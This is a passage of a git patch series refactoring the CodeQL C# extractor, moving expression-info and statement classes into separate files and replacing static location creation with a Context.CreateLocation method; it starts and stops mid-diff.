SetKind(ExprKind kind) - { - Kind = kind; - return this; - } - - public ExpressionNodeInfo SetType(AnnotatedTypeSymbol? type) - { - cachedType = type; - cachedTypeSet = true; - return this; - } - - public ExpressionNodeInfo SetNode(ExpressionSyntax node) - { - Node = node; - return this; - } - - private SymbolInfo cachedSymbolInfo; - - public SymbolInfo SymbolInfo - { - get - { - if (cachedSymbolInfo.Symbol == null && cachedSymbolInfo.CandidateReason == CandidateReason.None) - cachedSymbolInfo = Model.GetSymbolInfo(Node); - return cachedSymbolInfo; - } - } - - public NullableFlowState FlowState => TypeInfo.Nullability.FlowState; - - private bool TryGetBoolValueFromLiteral(out bool val) - { - var isTrue = Node.IsKind(SyntaxKind.TrueLiteralExpression); - var isFalse = Node.IsKind(SyntaxKind.FalseLiteralExpression); - - val = isTrue; - return isTrue || isFalse; - } - - public bool IsBoolLiteral() - { - return TryGetBoolValueFromLiteral(out var _); - } - } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionInfo.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionInfo.cs new file mode 100644 index 00000000000..feb1eaa2d93 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionInfo.cs @@ -0,0 +1,36 @@ +using Microsoft.CodeAnalysis; +using Semmle.Extraction.Kinds; + +namespace Semmle.Extraction.CSharp.Entities +{ + /// + /// Explicitly constructed expression information. + /// + internal class ExpressionInfo : IExpressionInfo + { + public Context Context { get; } + public AnnotatedTypeSymbol? Type { get; } + public Extraction.Entities.Location Location { get; } + public ExprKind Kind { get; } + public IExpressionParentEntity Parent { get; } + public int Child { get; } + public bool IsCompilerGenerated { get; } + public string ExprValue { get; } + + public ExpressionInfo(Context cx, AnnotatedTypeSymbol? type, Extraction.Entities.Location location, ExprKind kind, + IExpressionParentEntity parent, int child, bool isCompilerGenerated, string value) + { + Context = cx; + Type = type; + Location = location; + Kind = kind; + Parent = parent; + Child = child; + ExprValue = value; + IsCompilerGenerated = isCompilerGenerated; + } + + // Synthetic expressions don't have a flow state. + public NullableFlowState FlowState => NullableFlowState.None; + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionNodeInfo.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionNodeInfo.cs new file mode 100644 index 00000000000..febb84ded7c --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionNodeInfo.cs @@ -0,0 +1,189 @@ +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Semmle.Extraction.CSharp.Populators; +using Semmle.Extraction.Entities; +using Semmle.Extraction.Kinds; + +namespace Semmle.Extraction.CSharp.Entities +{ + /// + /// Expression information constructed from a syntax node. + /// + internal class ExpressionNodeInfo : IExpressionInfo + { + public ExpressionNodeInfo(Context cx, ExpressionSyntax node, IExpressionParentEntity parent, int child) : + this(cx, node, parent, child, cx.GetTypeInfo(node)) + { + } + + public ExpressionNodeInfo(Context cx, ExpressionSyntax node, IExpressionParentEntity parent, int child, TypeInfo typeInfo) + { + Context = cx; + Node = node; + Parent = parent; + Child = child; + TypeInfo = typeInfo; + Conversion = cx.GetModel(node).GetConversion(node); + } + + public Context Context { get; } + public ExpressionSyntax Node { get; private set; } + public IExpressionParentEntity Parent { get; set; } + public int Child { get; set; } + public TypeInfo TypeInfo { get; } + public Microsoft.CodeAnalysis.CSharp.Conversion Conversion { get; } + + public AnnotatedTypeSymbol ResolvedType => new AnnotatedTypeSymbol(TypeInfo.Type.DisambiguateType(), TypeInfo.Nullability.Annotation); + public AnnotatedTypeSymbol ConvertedType => new AnnotatedTypeSymbol(TypeInfo.ConvertedType.DisambiguateType(), TypeInfo.ConvertedNullability.Annotation); + + private AnnotatedTypeSymbol? cachedType; + private bool cachedTypeSet; + public AnnotatedTypeSymbol? Type + { + get + { + if (cachedTypeSet) + return cachedType; + + var type = ResolvedType; + + if (type.Symbol == null) + type.Symbol = (TypeInfo.Type ?? TypeInfo.ConvertedType).DisambiguateType(); + + // Roslyn workaround: It can't work out the type of "new object[0]" + // Clearly a bug. + if (type.Symbol?.TypeKind == Microsoft.CodeAnalysis.TypeKind.Error) + { + if (Node is ArrayCreationExpressionSyntax arrayCreation) + { + var elementType = Context.GetType(arrayCreation.Type.ElementType); + + if (elementType.Symbol != null) + // There seems to be no way to create an array with a nullable element at present. + return new AnnotatedTypeSymbol(Context.Compilation.CreateArrayTypeSymbol(elementType.Symbol, arrayCreation.Type.RankSpecifiers.Count), NullableAnnotation.NotAnnotated); + } + + Context.ModelError(Node, "Failed to determine type"); + } + + cachedType = type; + cachedTypeSet = true; + + return type; + } + } + + private Microsoft.CodeAnalysis.Location location; + + public Microsoft.CodeAnalysis.Location CodeAnalysisLocation + { + get + { + if (location == null) + location = Node.FixedLocation(); + return location; + } + set + { + location = value; + } + } + + public SemanticModel Model => Context.GetModel(Node); + + public string ExprValue + { + get + { + var c = Model.GetConstantValue(Node); + if (c.HasValue) + { + return Expression.ValueAsString(c.Value); + } + + if (TryGetBoolValueFromLiteral(out var val)) + { + return Expression.ValueAsString(val); + } + + return null; + } + } + + private Extraction.Entities.Location cachedLocation; + + public Extraction.Entities.Location Location + { + get + { + if (cachedLocation == null) + cachedLocation = Context.Create(CodeAnalysisLocation); + return cachedLocation; + } + + set + { + cachedLocation = value; + } + } + + public ExprKind Kind { get; set; } = ExprKind.UNKNOWN; + + public bool IsCompilerGenerated { get; set; } + + public ExpressionNodeInfo SetParent(IExpressionParentEntity parent, int child) + { + Parent = parent; + Child = child; + return this; + } + + public ExpressionNodeInfo SetKind(ExprKind kind) + { + Kind = kind; + return this; + } + + public ExpressionNodeInfo SetType(AnnotatedTypeSymbol? type) + { + cachedType = type; + cachedTypeSet = true; + return this; + } + + public ExpressionNodeInfo SetNode(ExpressionSyntax node) + { + Node = node; + return this; + } + + private SymbolInfo cachedSymbolInfo; + + public SymbolInfo SymbolInfo + { + get + { + if (cachedSymbolInfo.Symbol == null && cachedSymbolInfo.CandidateReason == CandidateReason.None) + cachedSymbolInfo = Model.GetSymbolInfo(Node); + return cachedSymbolInfo; + } + } + + public NullableFlowState FlowState => TypeInfo.Nullability.FlowState; + + private bool TryGetBoolValueFromLiteral(out bool val) + { + var isTrue = Node.IsKind(SyntaxKind.TrueLiteralExpression); + var isFalse = Node.IsKind(SyntaxKind.FalseLiteralExpression); + + val = isTrue; + return isTrue || isFalse; + } + + public bool IsBoolLiteral() + { + return TryGetBoolValueFromLiteral(out var _); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression`1.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression`1.cs new file mode 100644 index 00000000000..c16f0679c10 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression`1.cs @@ -0,0 +1,34 @@ +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using System.IO; + +namespace Semmle.Extraction.CSharp.Entities +{ + internal abstract class Expression : Expression + where TExpressionSyntax : ExpressionSyntax + { + public TExpressionSyntax Syntax { get; } + + protected Expression(ExpressionNodeInfo info) + : base(info) + { + Syntax = (TExpressionSyntax)info.Node; + } + + /// + /// Populates expression-type specific relations in the trap file. The general relations + /// expressions and expr_location are populated by the constructor + /// (should not fail), so even if expression-type specific population fails (e.g., in + /// standalone extraction), the expression created via + /// will + /// still be valid. + /// + protected abstract void PopulateExpression(TextWriter trapFile); + + protected new Expression TryPopulate() + { + cx.Try(Syntax, null, () => PopulateExpression(cx.TrapWriter.Writer)); + return this; + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/IExpressionInfo.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/IExpressionInfo.cs new file mode 100644 index 00000000000..1a43a6fbd02 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/IExpressionInfo.cs @@ -0,0 +1,53 @@ +using Microsoft.CodeAnalysis; +using Semmle.Extraction.Kinds; + +namespace Semmle.Extraction.CSharp.Entities +{ + /// + /// Holds all information required to create an Expression entity. + /// + internal interface IExpressionInfo + { + Context Context { get; } + + /// + /// The type of the expression. + /// + AnnotatedTypeSymbol? Type { get; } + + /// + /// The location of the expression. + /// + Extraction.Entities.Location Location { get; } + + /// + /// The kind of the expression. + /// + ExprKind Kind { get; } + + /// + /// The parent of the expression. + /// + IExpressionParentEntity Parent { get; } + + /// + /// The child index of the expression. + /// + int Child { get; } + + /// + /// Holds if this is an implicit expression. + /// + bool IsCompilerGenerated { get; } + + /// + /// Gets a string representation of the value. + /// null is encoded as the string "null". + /// If the expression does not have a value, then this + /// is null. + /// + string ExprValue { get; } + + NullableFlowState FlowState { get; } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/IExpressionParentEntity.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/IExpressionParentEntity.cs new file mode 100644 index 00000000000..a8e4df3d6ca --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/IExpressionParentEntity.cs @@ -0,0 +1,10 @@ +namespace Semmle.Extraction.CSharp.Entities +{ + public interface IExpressionParentEntity : IEntity + { + /// + /// Whether this entity is the parent of a top-level expression. + /// + bool IsTopLevelParent { get; } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/IStatementParentEntity.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/IStatementParentEntity.cs new file mode 100644 index 00000000000..40bc0f218c0 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/IStatementParentEntity.cs @@ -0,0 +1,10 @@ +namespace Semmle.Extraction.CSharp.Entities +{ + /// + /// Whether this entity is the parent of a top-level statement. + /// + public interface IStatementParentEntity : IEntity + { + bool IsTopLevelParent { get; } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement.cs index 44bd7f80583..7a5bdcd2a58 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement.cs @@ -1,19 +1,8 @@ using Microsoft.CodeAnalysis.CSharp.Syntax; -using Semmle.Extraction.CSharp.Populators; using Microsoft.CodeAnalysis.CSharp; -using Semmle.Extraction.Entities; -using System.IO; namespace Semmle.Extraction.CSharp.Entities { - /// - /// Whether this entity is the parent of a top-level statement. - /// - public interface IStatementParentEntity : IEntity - { - bool IsTopLevelParent { get; } - } - internal abstract class Statement : FreshEntity, IExpressionParentEntity, IStatementParentEntity { protected Statement(Context cx) : base(cx) { } @@ -37,44 +26,4 @@ namespace Semmle.Extraction.CSharp.Entities public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.NeedsLabel; } - - internal abstract class Statement : Statement where TSyntax : CSharpSyntaxNode - { - protected readonly TSyntax Stmt; - private readonly int child; - private readonly Kinds.StmtKind kind; - private readonly IStatementParentEntity parent; - private readonly Location location; - - protected override CSharpSyntaxNode GetStatementSyntax() => Stmt; - - protected Statement(Context cx, TSyntax stmt, Kinds.StmtKind kind, IStatementParentEntity parent, int child, Location location) - : base(cx) - { - Stmt = stmt; - this.parent = parent; - this.child = child; - this.location = location; - this.kind = kind; - cx.BindComments(this, location.symbol); - } - - protected sealed override void Populate(TextWriter trapFile) - { - trapFile.statements(this, kind); - if (parent.IsTopLevelParent) - trapFile.stmt_parent_top_level(this, child, parent); - else - trapFile.stmt_parent(this, child, parent); - trapFile.stmt_location(this, location); - PopulateStatement(trapFile); - } - - protected abstract void PopulateStatement(TextWriter trapFile); - - protected Statement(Context cx, TSyntax stmt, Kinds.StmtKind kind, IStatementParentEntity parent, int child) - : this(cx, stmt, kind, parent, child, cx.Create(stmt.FixedLocation())) { } - - public override string ToString() => Label.ToString(); - } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs new file mode 100644 index 00000000000..89b2b1696fd --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs @@ -0,0 +1,47 @@ +using Semmle.Extraction.CSharp.Populators; +using Microsoft.CodeAnalysis.CSharp; +using Semmle.Extraction.Entities; +using System.IO; + +namespace Semmle.Extraction.CSharp.Entities +{ + internal abstract class Statement : Statement where TSyntax : CSharpSyntaxNode + { + protected readonly TSyntax Stmt; + private readonly int child; + private readonly Kinds.StmtKind kind; + private readonly IStatementParentEntity parent; + private readonly Location location; + + protected override CSharpSyntaxNode GetStatementSyntax() => Stmt; + + protected Statement(Context cx, TSyntax stmt, Kinds.StmtKind kind, IStatementParentEntity parent, int child, Location location) + : base(cx) + { + Stmt = stmt; + this.parent = parent; + this.child = child; + this.location = location; + this.kind = kind; + cx.BindComments(this, location.symbol); + } + + protected sealed override void Populate(TextWriter trapFile) + { + trapFile.statements(this, kind); + if (parent.IsTopLevelParent) + trapFile.stmt_parent_top_level(this, child, parent); + else + trapFile.stmt_parent(this, child, parent); + trapFile.stmt_location(this, location); + PopulateStatement(trapFile); + } + + protected abstract void PopulateStatement(TextWriter trapFile); + + protected Statement(Context cx, TSyntax stmt, Kinds.StmtKind kind, IStatementParentEntity parent, int child) + : this(cx, stmt, kind, parent, child, cx.Create(stmt.FixedLocation())) { } + + public override string ToString() => Label.ToString(); + } +} From 1cd7fd6cf7789ff04a4ce37b90aa852bc73509b4 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:24:29 +0100 Subject: [PATCH 1190/1241] Simplify 'AstLineCounter' --- .../Semmle.Extraction.CSharp/Populators/Methods.cs | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/Methods.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/Methods.cs index 148160b8815..28a96c24e43 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/Methods.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/Methods.cs @@ -13,7 +13,7 @@ namespace Semmle.Extraction.CSharp.Populators public override LineCounts DefaultVisit(SyntaxNode node) { var text = node.SyntaxTree.GetText().GetSubText(node.GetLocation().SourceSpan).ToString(); - return Semmle.Util.LineCounter.ComputeLineCounts(text); + return LineCounter.ComputeLineCounts(text); } public override LineCounts VisitMethodDeclaration(MethodDeclarationSyntax method) @@ -29,7 +29,7 @@ namespace Semmle.Extraction.CSharp.Populators var textSpan = new Microsoft.CodeAnalysis.Text.TextSpan(start, end - start); var text = body.SyntaxTree.GetText().GetSubText(textSpan) + "\r\n"; - return Semmle.Util.LineCounter.ComputeLineCounts(text); + return LineCounter.ComputeLineCounts(text); } public override LineCounts VisitConstructorDeclaration(ConstructorDeclarationSyntax method) @@ -52,14 +52,10 @@ namespace Semmle.Extraction.CSharp.Populators { foreach (var decl in symbol.DeclaringSyntaxReferences) { - cx.NumberOfLines(trapFile, (CSharpSyntaxNode)decl.GetSyntax(), callable); + var node = (CSharpSyntaxNode)decl.GetSyntax(); + var lineCounts = node.Accept(new AstLineCounter()); + trapFile.numlines(callable, lineCounts); } } - - public static void NumberOfLines(this Context cx, TextWriter trapFile, CSharpSyntaxNode node, IEntity callable) - { - var lineCounts = node.Accept(new AstLineCounter()); - trapFile.numlines(callable, lineCounts); - } } } From 6f07230725cc392877bbfae87ecfeb43a316a65d Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:26:28 +0100 Subject: [PATCH 1191/1241] Relocate 'AstLineCounter' --- .../Method.AstLineCounter.cs} | 14 ++------------ .../Semmle.Extraction.CSharp/Entities/Method.cs | 15 +++++++++++++-- 2 files changed, 15 insertions(+), 14 deletions(-) rename csharp/extractor/Semmle.Extraction.CSharp/{Populators/Methods.cs => Entities/Method.AstLineCounter.cs} (79%) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/Methods.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.AstLineCounter.cs similarity index 79% rename from csharp/extractor/Semmle.Extraction.CSharp/Populators/Methods.cs rename to csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.AstLineCounter.cs index 28a96c24e43..d567b6f6b56 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/Methods.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.AstLineCounter.cs @@ -4,9 +4,9 @@ using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Util; using System.IO; -namespace Semmle.Extraction.CSharp.Populators +namespace Semmle.Extraction.CSharp.Entities { - public static class MethodExtensions + public abstract partial class Method { private class AstLineCounter : CSharpSyntaxVisitor { @@ -47,15 +47,5 @@ namespace Semmle.Extraction.CSharp.Populators return Visit(node.OperatorToken, node.Body ?? (SyntaxNode)node.ExpressionBody); } } - - public static void NumberOfLines(this Context cx, TextWriter trapFile, ISymbol symbol, IEntity callable) - { - foreach (var decl in symbol.DeclaringSyntaxReferences) - { - var node = (CSharpSyntaxNode)decl.GetSyntax(); - var lineCounts = node.Accept(new AstLineCounter()); - trapFile.numlines(callable, lineCounts); - } - } } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs index 6a52087e384..f036e373217 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs @@ -1,4 +1,5 @@ using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Extraction.CSharp.Populators; using System.Collections.Generic; @@ -7,7 +8,7 @@ using System.Linq; namespace Semmle.Extraction.CSharp.Entities { - public abstract class Method : CachedSymbol, IExpressionParentEntity, IStatementParentEntity + public abstract partial class Method : CachedSymbol, IExpressionParentEntity, IStatementParentEntity { protected Method(Context cx, IMethodSymbol init) : base(cx, init) { } @@ -83,11 +84,21 @@ namespace Semmle.Extraction.CSharp.Entities else Expression.Create(Context, expr, this, 0); - Context.NumberOfLines(trapFile, BodyDeclaringSymbol, this); + NumberOfLines(trapFile, BodyDeclaringSymbol, this); }); } } + public static void NumberOfLines(TextWriter trapFile, ISymbol symbol, IEntity callable) + { + foreach (var decl in symbol.DeclaringSyntaxReferences) + { + var node = (CSharpSyntaxNode)decl.GetSyntax(); + var lineCounts = node.Accept(new AstLineCounter()); + trapFile.numlines(callable, lineCounts); + } + } + public void Overrides(TextWriter trapFile) { foreach (var explicitInterface in symbol.ExplicitInterfaceImplementations From 4f693be33b1b58b32bb60131e8e4e01844d281f3 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:47:02 +0100 Subject: [PATCH 1192/1241] Move location creation to instance method on context --- .../Entities/Attribute.cs | 2 +- .../Entities/CommentBlock.cs | 4 +-- .../Entities/CommentLine.cs | 4 +-- .../Entities/Compilations/Diagnostic.cs | 2 +- .../Entities/Constructor.cs | 2 +- .../Entities/ExpressionNodeInfo.cs | 2 +- .../Entities/Expressions/Discard.cs | 2 +- .../Entities/Expressions/Initializer.cs | 2 +- .../Expressions/InterpolatedString.cs | 2 +- .../ObjectCreation/AnonymousObjectCreation.cs | 2 +- .../Expressions/Patterns/BinaryPattern.cs | 2 +- .../Entities/Expressions/Patterns/Pattern.cs | 4 +-- .../Expressions/Patterns/PositionalPattern.cs | 2 +- .../Expressions/Patterns/PropertyPattern.cs | 2 +- .../Expressions/Patterns/RecursivePattern.cs | 4 +-- .../Expressions/Patterns/RelationalPattern.cs | 2 +- .../Expressions/Patterns/UnaryPattern.cs | 2 +- .../Entities/Expressions/Query.cs | 6 ++-- .../Entities/Expressions/Switch.cs | 2 +- .../Expressions/VariableDeclaration.cs | 6 ++-- .../Entities/Field.cs | 4 +-- .../Entities/NamespaceDeclaration.cs | 4 +-- .../Entities/Parameter.cs | 2 +- .../PreprocessorDirective.cs | 2 +- .../Entities/Property.cs | 2 +- .../Entities/Statement`1.cs | 2 +- .../Entities/Statements/Case.cs | 2 +- .../Entities/Statements/Catch.cs | 2 +- .../Entities/Statements/Do.cs | 2 +- .../Entities/Statements/ForEach.cs | 2 +- .../Entities/Statements/LocalFunction.cs | 2 +- .../Entities/Symbol.cs | 4 +-- .../Entities/TypeMention.cs | 2 +- .../Entities/Types/NamedType.cs | 2 +- .../Entities/Types/TupleType.cs | 2 +- .../Entities/Types/TypeParameter.cs | 2 +- .../Entities/UsingDirective.cs | 4 +-- .../Populators/CompilationUnitVisitor.cs | 2 +- .../Populators/DirectiveVisitor.cs | 8 ++--- csharp/extractor/Semmle.Extraction/Context.cs | 34 ++++++++++++++----- .../Semmle.Extraction/Entities/Assembly.cs | 2 +- .../Entities/ExtractionError.cs | 2 +- .../Entities/GeneratedLocation.cs | 2 +- .../Semmle.Extraction/Entities/Location.cs | 26 -------------- .../Entities/SourceLocation.cs | 2 +- csharp/extractor/Semmle.Extraction/Message.cs | 4 +-- 46 files changed, 85 insertions(+), 95 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs index 9fef80b383a..e1663350055 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs @@ -118,7 +118,7 @@ namespace Semmle.Extraction.CSharp.Entities private Semmle.Extraction.Entities.Location location; private Semmle.Extraction.Entities.Location Location => - location ?? (location = Semmle.Extraction.Entities.Location.Create(Context, attributeSyntax is null ? entity.ReportingLocation : attributeSyntax.Name.GetLocation())); + location ?? (location = Context.CreateLocation(attributeSyntax is null ? entity.ReportingLocation : attributeSyntax.Name.GetLocation())); public override bool NeedsPopulation => true; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/CommentBlock.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/CommentBlock.cs index ab6802cf457..9f105bb1e1a 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/CommentBlock.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/CommentBlock.cs @@ -13,7 +13,7 @@ namespace Semmle.Extraction.CSharp.Entities { trapFile.commentblock(this); var child = 0; - trapFile.commentblock_location(this, Context.Create(symbol.Location)); + trapFile.commentblock_location(this, Context.CreateLocation(symbol.Location)); foreach (var l in symbol.CommentLines) { trapFile.commentblock_child(this, (CommentLine)l, child++); @@ -24,7 +24,7 @@ namespace Semmle.Extraction.CSharp.Entities public override void WriteId(TextWriter trapFile) { - trapFile.WriteSubId(Context.Create(symbol.Location)); + trapFile.WriteSubId(Context.CreateLocation(symbol.Location)); trapFile.Write(";commentblock"); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/CommentLine.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/CommentLine.cs index e390cb8c509..5ba3bbd87f4 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/CommentLine.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/CommentLine.cs @@ -23,7 +23,7 @@ namespace Semmle.Extraction.CSharp.Entities public override void Populate(TextWriter trapFile) { - location = Context.Create(Location); + location = Context.CreateLocation(Location); trapFile.commentline(this, Type == CommentLineType.MultilineContinuation ? CommentLineType.Multiline : Type, Text, RawText); trapFile.commentline_location(this, location); } @@ -34,7 +34,7 @@ namespace Semmle.Extraction.CSharp.Entities public override void WriteId(TextWriter trapFile) { - trapFile.WriteSubId(Context.Create(Location)); + trapFile.WriteSubId(Context.CreateLocation(Location)); trapFile.Write(";commentline"); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilations/Diagnostic.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilations/Diagnostic.cs index 2900e5b0ae0..ddf53d6bbe1 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilations/Diagnostic.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilations/Diagnostic.cs @@ -17,7 +17,7 @@ namespace Semmle.Extraction.CSharp.Entities protected override void Populate(TextWriter trapFile) { trapFile.diagnostics(this, (int)diagnostic.Severity, diagnostic.Id, diagnostic.Descriptor.Title.ToString(), - diagnostic.GetMessage(), Extraction.Entities.Location.Create(cx, diagnostic.Location)); + diagnostic.GetMessage(), cx.CreateLocation(diagnostic.Location)); } } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Constructor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Constructor.cs index 499e6ec418a..0e4c2bbe9c0 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Constructor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Constructor.cs @@ -60,7 +60,7 @@ namespace Semmle.Extraction.CSharp.Entities var initInfo = new ExpressionInfo(Context, AnnotatedTypeSymbol.CreateNotAnnotated(initializerType), - Context.Create(initializer.ThisOrBaseKeyword.GetLocation()), + Context.CreateLocation(initializer.ThisOrBaseKeyword.GetLocation()), Kinds.ExprKind.CONSTRUCTOR_INIT, this, -1, diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionNodeInfo.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionNodeInfo.cs index febb84ded7c..6968ca65abb 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionNodeInfo.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionNodeInfo.cs @@ -118,7 +118,7 @@ namespace Semmle.Extraction.CSharp.Entities get { if (cachedLocation == null) - cachedLocation = Context.Create(CodeAnalysisLocation); + cachedLocation = Context.CreateLocation(CodeAnalysisLocation); return cachedLocation; } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Discard.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Discard.cs index ef35f901b92..4f2eecca9da 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Discard.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Discard.cs @@ -12,7 +12,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions } private Discard(Context cx, CSharpSyntaxNode syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, cx.GetType(syntax), cx.Create(syntax.GetLocation()), ExprKind.DISCARD, parent, child, false, null)) + base(new ExpressionInfo(cx, cx.GetType(syntax), cx.CreateLocation(syntax.GetLocation()), ExprKind.DISCARD, parent, child, false, null)) { } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Initializer.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Initializer.cs index d96a44527d8..14fea3d4ce7 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Initializer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Initializer.cs @@ -137,7 +137,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions var addMethod = Method.Create(cx, collectionInfo.Symbol as IMethodSymbol); var voidType = AnnotatedTypeSymbol.CreateNotAnnotated(cx.Compilation.GetSpecialType(SpecialType.System_Void)); - var invocation = new Expression(new ExpressionInfo(cx, voidType, cx.Create(i.GetLocation()), ExprKind.METHOD_INVOCATION, this, child++, false, null)); + var invocation = new Expression(new ExpressionInfo(cx, voidType, cx.CreateLocation(i.GetLocation()), ExprKind.METHOD_INVOCATION, this, child++, false, null)); if (addMethod != null) trapFile.expr_call(invocation, addMethod); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedString.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedString.cs index 152ff145897..836aae35beb 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedString.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedString.cs @@ -27,7 +27,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case SyntaxKind.InterpolatedStringText: // Create a string literal var interpolatedText = (InterpolatedStringTextSyntax)c; - new Expression(new ExpressionInfo(cx, Type, cx.Create(c.GetLocation()), ExprKind.STRING_LITERAL, this, child++, false, interpolatedText.TextToken.Text)); + new Expression(new ExpressionInfo(cx, Type, cx.CreateLocation(c.GetLocation()), ExprKind.STRING_LITERAL, this, child++, false, interpolatedText.TextToken.Text)); break; default: throw new InternalError(c, $"Unhandled interpolation kind {c.Kind()}"); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs index 5703c3101a2..5a94a4333e8 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs @@ -36,7 +36,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions var property = cx.GetModel(init).GetDeclaredSymbol(init); var propEntity = Property.Create(cx, property); var type = property.GetAnnotatedType(); - var loc = cx.Create(init.GetLocation()); + var loc = cx.CreateLocation(init.GetLocation()); var assignment = new Expression(new ExpressionInfo(cx, type, loc, ExprKind.SIMPLE_ASSIGN, objectInitializer, child++, false, 